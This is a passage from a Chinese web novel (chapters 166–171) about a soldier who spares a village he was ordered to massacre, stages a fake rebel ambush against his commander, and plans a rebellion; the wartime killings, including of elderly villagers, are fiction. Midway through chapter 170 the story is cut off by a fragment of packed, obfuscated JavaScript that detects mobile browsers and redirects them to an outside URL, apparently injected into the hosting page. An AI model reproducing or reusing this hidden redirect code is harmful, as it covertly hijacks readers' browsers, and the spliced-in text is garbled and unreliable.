孰轻孰重，刘宪华清楚的很。 与其早晚有天被自己害死针对死，不如干他丫的。 刘宪华当即点头： “成，一切听柳哥的！” 两人说着，已经是带着队伍走到了村口。 王家村这种大村庄，是有着自己的民兵队的。 柳羽等人刚被发现时，王家村十几个民兵就老早站着村口等候了。 一等柳羽靠近，民兵队伍中一个年长的中年汉子，就上前朝着柳羽抱拳： “官爷，你们可是临县来的？” “我们王家村铜矿近些日子停了开采，得亏是叛军没有过来找麻烦。” “只要官爷一声令下，村里铜矿马上就能恢复开采。” 柳羽点头，朝着中年汉子露出笑容，上前一把搂住他的脖颈，带着他朝村里走去。 一边走，柳羽一边询问： “你叫什么名字？” “回官爷，小的王二。” “王家村青壮年汉子有多少？” “不多，都当兵去了，大概二三十人吧。” “武器呢？” “官爷说笑了，我们平头百姓哪敢私藏武器啊，就砍柴用的刀跟干草叉。” “那不行。” 柳羽脸色笑容消失，一脸认真地朝着王二道： “听好了，临县的大官让我带兵过来屠了王家村。” 柳羽此话一出，王二一个没站稳，差点一屁股跌倒在地。 柳羽却是一把将他扶住：“情况太复杂，你只需要知道，你王家村现在大难临头了就行。” “而且你得明白，我既然不直接砍进来，就说明我不想这么干。” “你王家村想保下来，现在你就必须得完全按照我的意思办事。” 第一百六十六章 暗杀 王二一点不敢多想，慌忙朝着柳羽点头： “官爷您吩咐，都听你的。” 柳羽点头： “行，反正活命的机会我给你了，你不听，丢的是你一家老小的命。” “记住了，你现在立刻去把王家村所有的聚集起来，最好是聚集到方便跑的地方，一旦有动静响起，立马让所有人分开往山里跑。” “另外，想要命，就不要带任何东西，只管跑，明白吗？” 王二赶忙小鸡啄米似的点头。 柳羽则是用手指向不远处的刘宪华： “实在是有老人小孩，跑不动的，你找他帮忙。” 说罢，柳羽直接放开王二，让他照着自己的意思去办。 而柳羽自己，则是在跟刘宪华对了个眼神后，朝着李晟招了招手，路过一栋木屋时，一转身就消失不见了踪影。 王家村周边地形，是很典型的盆地山谷地形。 四面都是长满绿植的山坡，虽然并不陡峭，却也很难从不是路的地方行军。 想在树林里展开大兵团作战，更是绝不可能。 但对于太平阁七杀堂的杀手来说，这种地形就再合适不过了。 从临县过来，柳羽并没有胆子大到，将二十名杀手藏在后卫营中，让他们跟随大部队一起过来。 而是让二十名杀手乔装打扮，远远跟在大部队后方，等候自己的命令行事。 柳羽带着李晟，躲进王家村侧面的树林后。 立即就朝着李晟道： “你去集合七杀堂，从后方对武汉冲的队伍发动偷袭。” “记住了，伪装成叛军！” 李晟面露不解：“不是偷袭汪大人队伍，暗杀汪大人吗？” 柳羽摇头，从自己背后取出一把寒铁弓，搭弓上箭： “杀汪大人，这得我亲自来干，你们中没有任何人，箭术能比我更好。” “你要做的是在我对汪大人动手后，立马偷袭武汉冲的队伍，让汪大人以为是叛军偷袭。” “不然咱们今天，全得玩完。” 李晟点头，瞬间明白了柳羽的意思。 如果只是单纯找个角度，射汪大人一箭。 射得死还好，射不死汪大人一定会心生警惕，并派兵严查。 无论汪大人查不查得出来，是柳羽反水干的。 柳羽没按照他的命令屠了王家村，都一定会引起汪大人怀疑。 今天这事的唯一解，只有一边有人暗杀汪大人，一边有大伙人马偷袭武汉冲的队伍，让汪大人以为是叛军伺机进攻。 唯有这样，虚虚实实真真假假，让汪大人陷入恐慌情绪中，柳羽这群人才会有一线生机。 时间紧迫，柳羽根本没办法跟李晟对具体细节。 只是望着柳羽道： “能不能活着回临县，就看咱配合得好不好了。” “你集合七杀堂后，看我这边情况，见机行事。” 李晟神情无比凝重的点头。 眼神坚定地朝柳羽抱拳： “柳哥，你千万别出事。” “放心。”柳羽点头，目送李晟快速绕路朝着山道后方跑去。 等李晟的背影在视野中消失后，柳羽手握寒铁弓迅速朝着汪大人所在位置逼近。 等靠近到距离汪大人三百多米左右的时候，柳羽迅速爬上了一棵大树，居高临下望着远处山道上，正静等着自己屠村归来的汪大人。 柳羽搭弓瞄准。 三百米的距离，远超弓箭射程的极限。 寻常猎弓，射程不过百米，有效射程仅五十米左右。 哪怕是军用弓箭，直线射程也仅仅只是在两百米左右，有效杀伤的射程绝对不会超过百米。 柳羽手上的寒铁弓，直线能射的极限距离，便是三百米。 但射到三百米距离后，箭矢所剩威力，连兔子的皮都不一定能穿透。 就更别提穿透汪大人身上盔甲，杀了他了。 只是这个距离，已经是柳羽能靠近的极限了。 再往前，一定会被汪大人手下士兵所察觉。 柳羽此刻唯一能想到的，一箭射死汪大人的方法，只有把箭往上射，形成抛物线，延长弓箭射程。 如果运气好的话，弓箭落下去箭头正好砸汪大人头顶，或许有机会一箭射死他。 但这显然是不可能的。 所以柳羽一边思索抛物线的方向，一边变换了目标。 人的体型太小，三百米距离想射到还准确射杀，几率太小了。 但马不一样。 柳羽此刻处在侧面，马身侧面面积很大。 只要把握好角度，射中的几率还是很大的。 而且人身上有盔甲，马身上可没有，射哪儿都能见血。 动手前，柳羽刻意等了等。 心里估算着，李晟那边准备所需要的时间。 也不过就是半炷香的功夫。 汪大人见柳羽带兵进王家村这么会儿，村里还没有惨叫声响起，已经起了疑心。 皱着眉头，朝他身边一个军士道： “你，进村去看看，柳副总旗办的事咋样了。” 那名军士点头，当即就朝着山下王家村跑去。 树林中的柳羽见状，立即明白没时间了。 咬了咬牙，柳羽毫不犹豫朝着天上射出一箭。 紧接着，柳羽几度快速搭弓射箭，朝着汪大人所在位置，将身上所携带的十来支箭矢，一股脑全射了出去。 射完后，立马屏息凝神，关注汪大人的情况。 柳羽十几支箭组成的箭雨从天上射来，汪大人根本就没机会察觉。 直到第一支箭，落在马屁股上，射得他胯下马屁吃痛惨叫时，汪大人才意识到不对劲。 咻咻咻！ 上空箭矢不断落下，王大人立刻拔剑挡箭： “戒备，敌袭！” 汪大人一连砍断数根飞来的箭矢，身上盔甲帮着他挡下一支。 虽然汪大人自己没事，但其余箭矢，却全都落在了他胯下的马上。 虽然箭矢从远距离射来，根本射不死一匹马，却也是射进马匹身体，引得马匹疯狂摆动身躯乱窜。 汪大人根本控制不住缰绳，很快就被躁动的马匹从马背上甩了下去。 只可惜，汪大人没落到地上，便被他身边两名近卫从空中接住了。 柳羽见状，连忙捏着鼻子，朝汪大人的方向大吼： “临县来的大官，我家玉军师，托我给你问个好！” “我家军师说，您还是哪儿来的回哪儿去吧，敢跟我天军作对，小心全家性命不保！” 第一百六十七章 剑拔弩张 柳羽捏着鼻子发出的声音，尖锐得就仿佛公鸭叫似的。 听得汪大人勃然大怒： “玉军师？叛军？” “本官没去找你们，你们倒是主动找上门来了？” “好大的胆子！” 汪大人愤怒得，甚至都还没来得及派人进树林里，把偷袭的人给揪出来。 山道上硕长的队伍后方，路边树林里一名名身穿黑衣的七杀堂杀手，在李晟的带领下站起身来。 刚一冒头，所有人齐刷刷抄起弓弩，对着官道上的队伍就射。 武汉冲的先锋营处在整个临县队伍的最后面，第一轮偷袭，首当其冲就是先锋营受罪。 咻咻咻！ “啊，敌袭，敌袭！” “我中箭了，救我！” “后面树林，后面树林啊！” 无数箭矢袭来，先锋营士兵瞬间倒下去七八个。 一百多人的队伍，更是顷刻间乱成一团。 只是等到武汉冲反应过来，大喊着让所有人朝着树林里射箭还击的时候。 李晟却是非常聪明，偷袭一轮立马带着七杀堂撤退。 一边跑，还一边仰天大笑： “汪大人，你不在临县缩着，没事出来干什么？” “哼哼，既然你给机会出来了，那就留在这里，别回去了！” 李晟的声音越来越远。 但周围树林茂盛，哪里都可能藏人。 汪大人跟武汉冲，在明知是叛军偷袭，却又不知道叛军来了多少人的情况下，根本就不敢派人去追。 反而是纷纷下令让队伍缩紧，进入防备状态。 武汉冲急匆匆跑到汪大人跟前抱拳： “大人，叛军明显是一早打听清楚了，我们今日出城的消息，甚至可能一直有派人在临县城门口监视着。” “咱这点人遇到叛军大部队打不过的，还是下令，撤回临县吧。” 汪大人神色阴沉。 “撤回临县，怎么撤？这里离官道十里地左右，你知道哪里躲着叛军？” 冷哼一声，汪大人果断下令： “不撤，全体进驻王家村，探明情况再说！” 此刻，躲在暗处的柳羽，早已经从树上下来，快步冲回了王家村当中。 柳羽返回的时候，王家村民兵队长王二，早已经将王家村全体村民聚集在了村南侧，通往深山的小路边。 一见柳羽过来，王二立马上前迎接。 柳羽却是直接抬手阻止他说话： “往深山里跑，有多远跑多远，最好去找叛军救你们。” 说完，柳羽就不再理会王二跟王家村一众村民。 而是将目光看向刘宪华： “村里鸡鸭鹅，杀了血往地上撒。” “袁羌陆游周阳，你们带队，跟我去村头迎接汪大人。” 柳羽快速下达命令，只是命令刚下达完，就发现王家村青壮年带着小孩已经逃命去了，五六个老头老太太，却还站立的原地。 包括王二，他身为民兵队长，丝毫没有想跑的意思。 反而是望着柳羽，一脸踌躇道： “官，官爷，年轻的带着小孩还好跑，可村里的老人，实在是跑不动啊。” 柳羽听到这话，直接走上前，从刘宪华腰间拔出他的佩剑递给王二： “那就杀了。” “我是拿自己身家性命救的你王家村村民，跑得了的能活命。跑不了的留着待会儿也会被人杀，而且你们一旦有人把我供出来，我跟我手下这群兄弟的命也保不住。” “老人的命，换青壮年小孩的命，我对你王家村已经仁至义尽了。” 王二望着自己脚边的长剑，只觉得五雷轰顶，手脚冰寒。 但任谁都知道，柳羽说的是实话。 长官下令屠村，柳羽一个当兵执行命令的，能违抗军令放王家村青壮年妇孺去逃命，已经是仁至义尽了。 老人实在是跑不了，汪大人一旦进了村，天王老子来了都保不住。 早死晚死都是个死。 现在这些老人死了，尸体摆村里，还勉强能让汪大人信任柳羽，以为柳羽真按照他的命令屠村了。 不然留着活口，这些老人因为不想死，把柳羽放王家村人逃命的事供出去。 无论是已经逃跑的王家村村民还是柳羽，都不会有好日子过。 现在根本就不是讲人情的时候。 现在摆在所有人面前的，是残酷的现实。 柳羽知道，刘宪华知道。 哪怕是王二，也心知肚明。 汪大人即将进村，柳羽根本没时间等王二亲自动手。 只是淡淡朝着王二道： “这些老人我不会动手杀，我手下这群人也不会，选择权在你。” “我跟我这群兄弟，大不了背个反叛的名头，背朝廷追杀就是。” “但那些已经逃走的村民，会不会被派兵去追上杀了，就跟我没关系了。” 说罢，柳羽大手一挥，直接带着袁羌陆游，跟他们手下七八十名后卫营士兵，朝着村口赶去。 柳羽速度很快，跑到村口的时候，汪大人距离王家村还有三四百米的距离。 柳羽赶忙操着刀，加快速度独自朝着汪大人跑去。 一靠近，柳羽立马朝着汪大人抱拳： “大人，卑职听到你这边遭遇叛军袭击，立马带人赶过来了，大人没事吧？” 汪大人脸色冷得可怕。 阴冷的目光，在柳羽身上扫视良久。 好一会儿过后，汪大人才摇头道： “无碍，一群宵小之辈而已。” “让你办的事如何？王家村，屠干净了吗？” 柳羽抱拳： “回大人…卑职刚把所有村民聚集到一块，才刚开始杀几人，就听闻大人这边遇袭的消息。” “卑职心系大人安危，只得赶忙前来支援大人。” “王家村村民…跑了些许。” 汪大人脸上神情本来就冷，听到柳羽这话，更是冷到极致。 看向柳羽的目光，完全就是想杀人的眼神。 “后卫营四百多人，屠个四五十人的村子，半个时辰做不到？” 柳羽眼睛微眯。 虽然是放低姿态，朝着汪大人抱拳的姿势。 但柳羽却早已经蓄势待发，做好了情况不对，立马拔出背后幽泉剑，一剑砍了汪大人的准备。 当下柳羽跟汪大人距离不过五步，凭借幽泉剑之利，只要柳羽动手，谁都保不住汪大人的命。 然而，汪大人在用杀人般的目光，看了柳羽一会儿后，嘴角却是露出微笑： “罢了，不怪你，你护我心切，这份忠心本大人怎能忍心怪罪。” 第一百六十八章 靖难 汪大人话虽如此，他眼底的杀意，柳羽却是看得真切。 两人间原本就没有多少的信任，在柳羽异常的举动下，几乎已经走到了崩溃的边缘。 甚至可以说，两人离干起来，就只差一个契机，便会彻底撕破脸皮。 柳羽心里清楚，汪大人心里也门清。 之所以没现在就把脸皮撕破，不过就是因为，双方暂时都没有吃死对方的能力，各退了一步而已。 眼见汪大人，没有要怪罪自己的意思，柳羽还是装出一副忠心耿耿的样子，迎接汪大人跟他的队伍进入王家村。 柳羽在最前方，带着汪大人往村里走。 王家村村里小路上，已经被刘宪华让人，潵了不少动物的血迹。 这些血迹潵下去，柳羽本意上是想伪装出一副，自己确实是进村杀了人的样子。 但时间终究还是太紧了。 不少血迹上，残留着动物的毛发，甚至动物的尸体都没来得及隐藏，放了血被随意抛弃在路边。 除非汪大人是傻子。 不然任谁都能看出来，地上的血是动物的，而不是人的。 汪大人望着这一幕，皮笑肉不笑地夸奖柳羽： “看来柳副总旗跟刘总旗，还是干了实事的。” “地上这么多血，王家村村民就算有跑的，怕是柳副总旗也已经屠了一半多了。” 柳羽皮笑肉不笑的点头。 光见血不见尸体，汪大人这哪儿是夸奖柳羽，根本就是在阴阳柳羽。 得亏是往前又走了一段路，王家村民兵队长狠心杀了村里跑不掉的老头，让汪大人看见了几具尸体。 这才勉强的，让汪大人对柳羽的态度，缓和了许多。 但等队伍全进王家村后，汪大人却是直接做出了安排，让柳羽跟刘宪华的后卫营，在王家村后方驻扎，武寒冲一百来人的队伍，去守王家村后面一百多米树林里的两座铜矿。 而汪大人的队伍，则是跟柳羽等人隔着一百来米的距离，驻扎在王家村前半截。 看似是摆出防守阵型，预防叛军再度偷袭。 实则是故意跟柳羽分开，防备柳羽。 日落时分，整个后卫营赶了一天路，没吃东西。 柳羽让周阳带着人，在王家村民房中搜出五大袋糙米，架起大锅生火煮粥。 刘宪华坐在柳羽身边，一脸忧虑： “咱没屠村，汪大人好像看出来了。” “咋办，回临县后，他不会找我们秋后算账吧？” 柳羽嗤笑：“你怎么这么天真啊，居然还想着回临县？” 此前就有消息传出来，有一位汪大人的同僚，正从周口方向，带一千人左右的兵马赶来临县。 之前武汉冲，仅仅是因为没有向汪大人表忠心，汪大人就要设计杀了他。 现在柳羽跟刘宪华，是直接违背汪大人屠村的军令。 汪大人可能不起杀心吗？ 柳羽直接冷笑道： “汪大人这种人什么德行，你还没看出来啊？” “我可以很明确的告诉你，我们违背军令他现在不动手，只是因为我们有四百多人，他手上也不过五百人而已，真打起来谁输谁赢不一定，所以他不敢打。” 刘宪华嘴巴微张，多少有点不愿相信： “不会吧，汪大人之前，挺看重我们的啊。” “不至于因为我们一件事没做好…” …… 傍晚时分，李晟这边。 明明深冬已经过了，刚一入夜，天上又下起了小雪。 白天带着七杀堂偷袭汪大人，偷袭完后，李晟完全不敢带着队伍，第一时间去找柳羽会合。 一直到确定柳羽那边没出什么大问题，李晟等到晚上，这才打算偷摸进村找柳羽。 由于汪大人的队伍，驻扎在王家村前半段，村口处全是汪大人手下士兵在巡夜，李晟只能是靠近后，试图往侧面绕过去。 李晟从村口左边，悄悄摸摸走了三百多米，想从王家村左边山林，绕道王家村后方去。 但在路过一座木质民房时，李晟却愕然听到了汪大人愤怒的声音。 愣了一下，李晟赶忙找到窗户，透过缝隙，小心翼翼朝屋里看去。 此刻，汪大人正跟他身边三名近卫，围坐在一张放置着地图的木桌边上。 “哼，此前听闻临县难搞，怎么也没想到，居然会是这么难搞。” 汪大人声音阴冷： “原本是想找一个典型杀鸡儆猴，顺势把临县三个卫所营全部收入囊中，可我怎么也没想到，他武汉冲不服我，就连刘宪华这个马屁精，柳羽这个我用官职提上来的副总旗，居然也是表面一套背地一套。” “这个刘宪华呵，平时马屁拍得起劲，一到让他们办事，就让他们屠个村而已，居然都能让村民给跑了。” “还潵动物血在地上伪装，当我眼睛瞎的吗，糊弄鬼呢！” “小小一个临县，全是一群喂不熟的白眼狼！” 汪大人怒吼着。 离他最近的一名近卫，皱眉道： “大人，咱们要占据临县，很明显临县三个总旗包括那个柳羽，都留不得了。” “可这三个总旗手上兵马加起来，近一千人，咱就是等卫大人带他的一千人兵马来了，想把临县靠不住的人全杀光，也得付出极为惨重的代价。” 汪大人神情冰冷： “不忠的，哪怕杀他要付出的代价再惨痛也得杀，临县必须在春天前彻底掌控下来。” “而且武汉冲刘宪华这三个总旗，也不是铁板一块，逐个击破，灭他们算不得什么难事。” 说着，汪大人目光惆怅的，仰头朝着房梁上看去： “我主要是担心当今天下局势啊。” “半月前朝廷下令，要清查靖北王丢失边城的罪责，现在全国各地的王爷诸侯，都在人人自危，觉得朝廷是要削藩，诛杀所有王爷。” “王爷们要造反，各地又民变四起，天下大乱在即。” “也不知占据一个小小临县，我汪天淼，到底有没有逐鹿天下的可能。” 窗外，李晟听到这里，整个人眼睛瞪大，简直不敢相信自己的耳朵。 从短暂震惊中反应过来后，李晟连忙朝身前身后看了看，确定没人发现自己后，慌不择路冲进山林当中，疯狂寻找柳羽的位置。 第一百六十九章 我反了 不知道跑了多久，李晟身在半山腰树林中，终于在下方王家村里，寻找到了柳羽的身影。 此刻，柳羽正手拿木勺，给一名名排队上前领饭的士兵打粥。 正打到一半，柳羽就仿佛是有心灵感应一般，一扭头，正好看见了躲在黑暗中朝自己招手的李晟。 柳羽见状，赶忙招手叫来刘宪华，把手上木勺交给刘宪华，让他继续给士兵们打粥。 柳羽自己，则是快步朝着李晟走去。 跟李晟碰面后，柳羽抬手抓着李晟手臂，把他拉进树林远离人群后，才开口道： “怎么样，七杀堂都没事吧？” “没事，柳哥，我有重要消息。”李晟大口喘着粗气，艰难道：“跟玉军师说的一样，汪大人来临县的目的，果然是要占据临县。” “具体的我不是很听得懂，汪大人说半个月前朝廷下令要追责靖北王，天下即将大乱！” 李晟凭借记忆，把刚才偷听到的话，一字不差给柳羽复述了一遍。 柳羽是越听越心惊，越听脸色越难看。 靖北王、削藩、造反、民变，天下大乱？ 这些熟悉又陌生的字眼，柳羽听得内心久久不能平静。 再想到，当初被自己救下的，楚敬修楚灵汐兄妹俩，他俩就是靖北王府的小世子跟小郡主啊。 此前只是知道，靖北王跟关外胡人打仗，朝廷不管。 现在，靖北王要被朝廷追责了？ 关外胡人入侵，关内民变四起，皇帝老儿是特么脑瘫吗，现在追责，关外怎么办？ 柳羽浑身都是僵硬的。 又气又觉得好笑。 此前还想着，等开春了冰雪消融，朝廷大军压过来，可以平息民变，天下会再度恢复太平，自己也能回沧县柳家村去，跟媳妇过自己的安生日子去。 现在好了，乱了，全特么乱了。 你妈的狗皇帝，难怪洛北城都护府一个千夫长，都特么敢私自调兵来临县啊。 原来这天下，早特么已经分崩离析了！ 柳羽深吸一口气，强装镇定朝着李晟道： “记住了，今天晚上你听到的所有话，除了我之外的任何人，哪怕是一个字都不要泄露出去。” 李晟点头： “放心柳哥，我知道轻重。” “问题是，我们现在该怎么办？” 柳羽眼睛微眯，陷入沉思。 原先还想着，朝廷跟叛军两边都交好，暗自发展自己势力。 现在看来，之前的想法纯粹就是在做不切实际的美梦。 如今天下已经大乱，就连汪大人一个千夫长，都想占据临县这座偏远小镇，占山为王。 那此刻，柳羽也只有一条路可以走。 要么占山为王，发展势力，逐鹿天下，自己去当那个皇帝。 要么直接挥剑自刎。 不然像现在这样苟且偷生下去，早晚得被煞笔朝廷活活玩死。 柳羽有老婆，有柳家村一村的村民要守护。 柳羽怎么可能选择自刎。 短暂犹豫后，柳羽立即有了决断： “李晟，你立马亲自上豹子山找玉军师，让玉军师携全部叛军，兵压临县城！” 李晟眼睛瞪大：“咱，反了？” “反？”柳羽冷哼：“老子早就反了。” “让玉军师兵压临县城，逼临县王总旗，跟那个从周口来的什么卫大人不敢轻举妄动。” “给我一天时间，我就在王家村，干死汪天淼。” “快去！” 李晟被柳羽冷厉的声音吓了一大跳。 跟柳羽混这么久，他还从没见柳羽的神情，严肃到这个地步。 李晟是一点不敢怠慢，转身就朝着豹子山方向跑去。 而柳羽，则是马不停蹄往家村后山铜矿跑，前去找寻武汉冲。 在铜矿洞外面，找到武汉冲后，柳羽直接二话不说将武汉冲拉到一边。 随即，柳羽当着武汉冲的面，直接拔出了幽泉剑： “武总旗，你对我柳羽算是有知遇之恩，我最后再叫你一声总旗。” 武汉冲挑眉望着柳羽手里的剑，乐呵道：“怎么，你要杀了我？” 柳羽摇头： “此前汪大人刚来临县的时候，你提醒过我，让我小心他。” “告诉我，你是不是一早就知道，汪大人来临县的目的是什么？” 武汉冲表情怪异：“你知道了？没想到啊，居然这么快。” “对，我知道，汪大人是来占山为王的。” “朝廷，要追责靖北王，靖北王离开边城，胡人势必趁机南下。春天到来后天下不会恢复安定，而是会彻底大乱。” 柳羽点头，当即就把手里幽泉剑，丢给了武汉冲。 “行，你知道就行。” “我现在既不想问你是忠于朝廷，还是只想自保。” “我现在就问一句，我要造反，你跟不跟我干！” 武汉冲抬手一把接住柳羽丢过来的剑，表情怪异道： “你要我跟着你干，不应该拿剑横在我脖子上吗？” “把剑丢给我算怎么一回事？” 柳羽神情平静： “因为念及之前的情义，所以我给你一个机会。” “你不跟着我干，我必杀你，而你现在有机会在我杀你之前，先一剑把我砍了。” 此话一出，武汉冲表情精彩至极。 好家伙，头一次见，有人这样子威胁人的。 也是长见识了。 武汉冲手握幽泉剑，笑盈盈地望着柳羽： “造反，手上得有兵有粮，不是说说就行的。” “这些，你有……” 然而，不等武汉冲把话说完，柳羽就直接打断： “你别管，我只问你跟不跟我。” “不跟，你现在就可以动手！” 武汉冲额头青筋暴起，多少有点被气到了。 短暂犹豫两秒，武汉冲一把将剑丢回给了柳羽： “你特么的，老子以前是你顶头上司，现在你让老子跟你干，还这副态度？” “草，干就干，不就是造反吗，脑袋掉了碗大个疤。” “但你老大，我老二！而且老子要当军师，草尼玛的！” 武汉冲破口大骂着，唾沫星子直喷柳羽。 柳羽却是咧嘴一笑，一脸得意：“看来我赌对了。” “就凭你当初提醒我小心汪大人，我就笃定你武汉冲绝对不是个小人。” 武汉冲在短暂愤怒后，很快就恢复了平静。 淡淡道：“我确实算不得小人，不过当初叛军攻城我把你留在城里，确实是有借叛军之手要你命的想法。” 第一百七十章 人性 “只是没想到，你不仅没死，居然还借机控制了刘宪华，让他成为你的傀儡。” 武汉冲饶有兴致地望着柳羽。 此前，柳羽哪怕是听到武汉冲亲口承认，他曾经想过杀自己，柳羽也面色如常。 但在听到，武汉冲居然知道自己跟刘宪华的关系时，柳羽却是瞬间瞪大了眼睛： “你知道？” “我一直都知道。”武汉冲背着手淡淡道：“不然你以为，我这个总旗真的是白当的吗？” “临县就那么大点，你把你的太平阁定在王员外府，从都指挥使司抢来的金银珠宝也藏那里，你不会真以为，是你隐藏得好吧？” 柳羽神情阴沉不定。 太平阁定在王员外府，是因为王员外**，家里人都逃难去了，那座府邸正常情况下，根本不会有人关注。 以至于从始至终，柳羽都没做过任何隐藏。 一来，没人关注的地方，天天让人守着此地无银三百两的，反而会引起不必要的注意。 二来，整个临县大多数时候就三总旗，汪大人还是近段时间才刚来的。 柳羽控制着刘宪华，手上有兵有粮，自己的地方，寻常人就算发现了柳羽也不怕。 但柳羽怎么也没有想到，武汉冲对自己的底细，居然了解得一清二楚。 这可不是派几个人，监视自己就能做到的。 这必定是在自己身边，安插了眼线。 而且这些眼线，就是袁羌陆游这些人中的一个。 因为柳羽最信任的十来个弟兄，才知道刘宪华是柳羽的傀儡。 “谁？”柳羽声音满含杀意：“我这群兄弟中，谁是你的眼线！” 武汉冲咧嘴轻笑： “知道又如何？我都已经打算要跟你混了，我的人不就是你的人？” “没必要追究的，你只需要知道，汪大人之所以到现在都没意识到，刘宪华是听你命令的，是因为我帮你擦了不少屁股。” 说罢，武汉冲也不含糊。 直接朝着林寒笑道： “你小子不赖，既然现在我给你当了军师，那我总得拿出点本事来让你看看不是。” “临县周边地形图呢，给我。” 武汉冲朝柳羽伸手。 柳羽神情阴冷至极，极度想知道，十来个兄弟中，到底是谁背叛自己。 但考虑到现在的情况，不适合内斗。 犹豫片刻后，柳羽还是将自己贴身保管的地形图取了出来。 两人将地形图在地上摊开后，武汉冲手拿一盏煤油灯照亮。 不得不说，专业的就是专业的。 武汉冲当了十几年总旗，仅仅只是看了眼地形图，就直接把地图划分成了三个部分。 分别为豹子山及其周边十里地、王家村及其周边十里地，以及临县城及其周边十里地。 根据不同的部分，武汉冲做出不同的安排： “柳羽，以你跟叛军的关系，首先是要让叛军大军，从豹子山出发，途经松阳客栈官道，兵压临县城。” “这一点上，叛军大军在兵压临县城的同时，要以松阳客栈为节点，截断汪大人回临县的可能性，同时截断从周口赶来的，卫大人的一千人兵马。” 柳羽点头。 武汉冲这样安排，是要彻底把汪大人困死在王家村周边十里地范围内。 让他退不得，动不得，只能拿五百人跟自己血拼。 柳羽一开始决定要跟汪大人干的时候，就已经想到了这一点，而且已经派李晟，去联系玉军师照做了。 武汉冲现在说出来，只能是说，他在用兵上，跟柳羽意见相合。 这一安排，并不能说明武汉冲用兵的本事有多厉害。 见柳羽听到自己的第一手安排，并没有露出讶异的神情，武汉冲笑着继续道： “第二点，我要立刻带人找到，往深山里逃的王家村村民，并连夜把他们送往临县。” “临县守城的王总旗，就是王家村出来的，汪大人今天下令要你跟刘宪华屠王家村，其实是要让王总旗跟你之间出现血海深仇，大局上来说，他是在**临县原有旧势力，方便他逐个击破。” 此话一出，柳羽眼睛瞪大。 王家村，王总旗？ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754170|173427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >此前柳羽从来就没有听人说起过，临县王总旗，是从王家村出来的。 如果知道，柳羽一早就能想到，汪大人让自己跟刘宪华屠村，是要**临县。 也就是说，自己今天因为良心过不去放了王家村村民一马，实则是放过了自己？ 柳羽简直不敢去想，如果自己真屠村了，王总旗在汪大人的挑拨下疯狂跟自己拼命的画面。 难怪特么昨天没出临县时，汪大人对自己跟刘宪华的态度都好好的，一副很看重自己的样子，还给自己升了副总旗，结果今天一到王家村就下令让自己屠村。 原来特么的，安的是这个心。 真是特么的有够毒的！ 柳羽冷眼朝武汉冲看去： “王总旗是王家村人，你一早就可以告诉我。” “不然我要是真把村屠了，临县原有旧势力就彻底**了，王总旗会带着他的百户营，跟刘宪华的后卫营不死不休！” 武汉冲摇头： “你不会屠村的，我相信你。” “现在事实不是已经证明了，我的相信是对的吗？” 柳羽怒急：“那要是万一呢？万一我真听汪天淼那王八蛋的，把王家村屠了呢！” 面对柳羽的愤怒，武汉子依旧是淡定道： “没有万一。” “你要是屠了，刚才你把剑给我，现在你脑袋已经在地上了。” “我武汉冲，怎么可能堕落到给一个没有人性的畜生当军师？” 柳羽整个人愣住。 这才反应过来，自己放了王家村村民，不仅仅是放了自己一马，更是救了自己一命。 合着武汉冲在知道一切的情况下，却不告诉自己王家村不能屠。 就是在测自己，到底是不是没有人性的畜生？ “真特么有意思，我什么人，你看不出来？” “还需要试探？” 柳羽没好气道。 武汉冲平静点头： “要的，人这种动物善于伪装。” “有些平常伪装起来的本性，只有在危难时刻，才能看得清楚。” 第一百七十一章 天机不可泄露 柳羽冷哼，不想继续掰扯下去。 没好气地朝着武汉冲道：“三呢？” “叛军跟临县安排好了，第三点，我这边该怎么收拾汪大人？” “打呗。”武汉冲轻飘飘道：“让你杀个县令，你能带着十个人，把一整队几十个都指挥使司官兵全杀了，现在四百人打五百人，你怕锤子啊？” “不要告诉我，你柳羽都当老大了，连这点都做不到呵。” 柳羽额头青筋暴起。 以前搁武汉冲手下当兵，从来都是自己这个当兵的，惹事气武汉冲这个当总旗的。 现在好了，地位翻转过来，自己当老大了。 武汉冲特么反过来气自己了！ 这叫个什么事啊？当个老大，成孙子了？ 柳羽强忍住想给武汉冲一脚的冲动，没好气道： “打架，我柳羽从来就没怕过，打仗也一样，少在这里阴阳怪气。” “我要问的，是叛军！” 汪大人的五百人队伍，柳羽从来就不担心。 柳羽自始至终担心的都是，自己跟叛军合作，让叛军帮着去军压临县，截断汪大人的退路跟支援。 但问题就在于，叛军截断的，不仅仅是汪大人。 同时也截断了柳羽的退路跟支援。 一旦打起来，柳羽在王家村周边跟汪大人死磕。 叛军那边要是反咬一口怎么办？ 柳羽手上就五百多人，加上现在武汉冲的队伍，也不过才六七百人。 打汪大人就已经有些费劲了。 要是玉军师那边不老实，等自己跟汪大人打起来，想鹬蚌相争渔翁得利，关键时刻背后捅自己一刀。 那柳羽可是一点都遭不住。 武汉冲明显是想到了这一点的，但在柳羽主动问起来后，他却是咧嘴一笑： “这个嘛，天机不可泄露。” “以我对你的了解，你心里肯定是有谋划的，现在问我，不过是想听听不同的意见。” “所以…我不想说。” 听到这话，柳羽攥紧拳头，已经有了想**的冲动。 但还不等柳羽有动作，武汉冲眼看自己已经被柳羽气得差不多了，连忙道： “心平气和啊老大。” “我现在要是说了，如果我的想法跟你的大差不差，那不就说明我这军师没作用，有没有都不重要了吗？” 柳羽属实是被气乐了。 顿时反应过来，武汉冲这王八蛋，是想展现自己能力。 既然如此，柳羽直接点头： “行，你说吧，你想要什么？” 武汉冲咧嘴一笑，直接朝柳羽伸手： “我要七杀棠跟天机棠，而且我还要你手上这柄幽泉剑。” “怎么样，敢不敢给？” “我可以立军令状，只要你给了，我保证三日之后，还你一个大大的惊喜！” 听到武汉冲，这么轻易就说出七杀棠跟天机棠两个名字来。 柳羽眼里往外冒的已经不是杀意，而是绿光了。 这个该死的内奸，看来是把自己的一切底细，全都告诉给了武汉冲。 柳羽沉默良久，深吸一口气之后，才下定决心，一把将幽泉剑丢给了武汉冲： “我信你一回，剑也可以借你用。” “但如果你敢有二心，放心，我哪怕拼尽一切，也会拉你陪葬！” 武汉冲收敛了笑意，手拿幽泉剑朝柳羽抱拳： 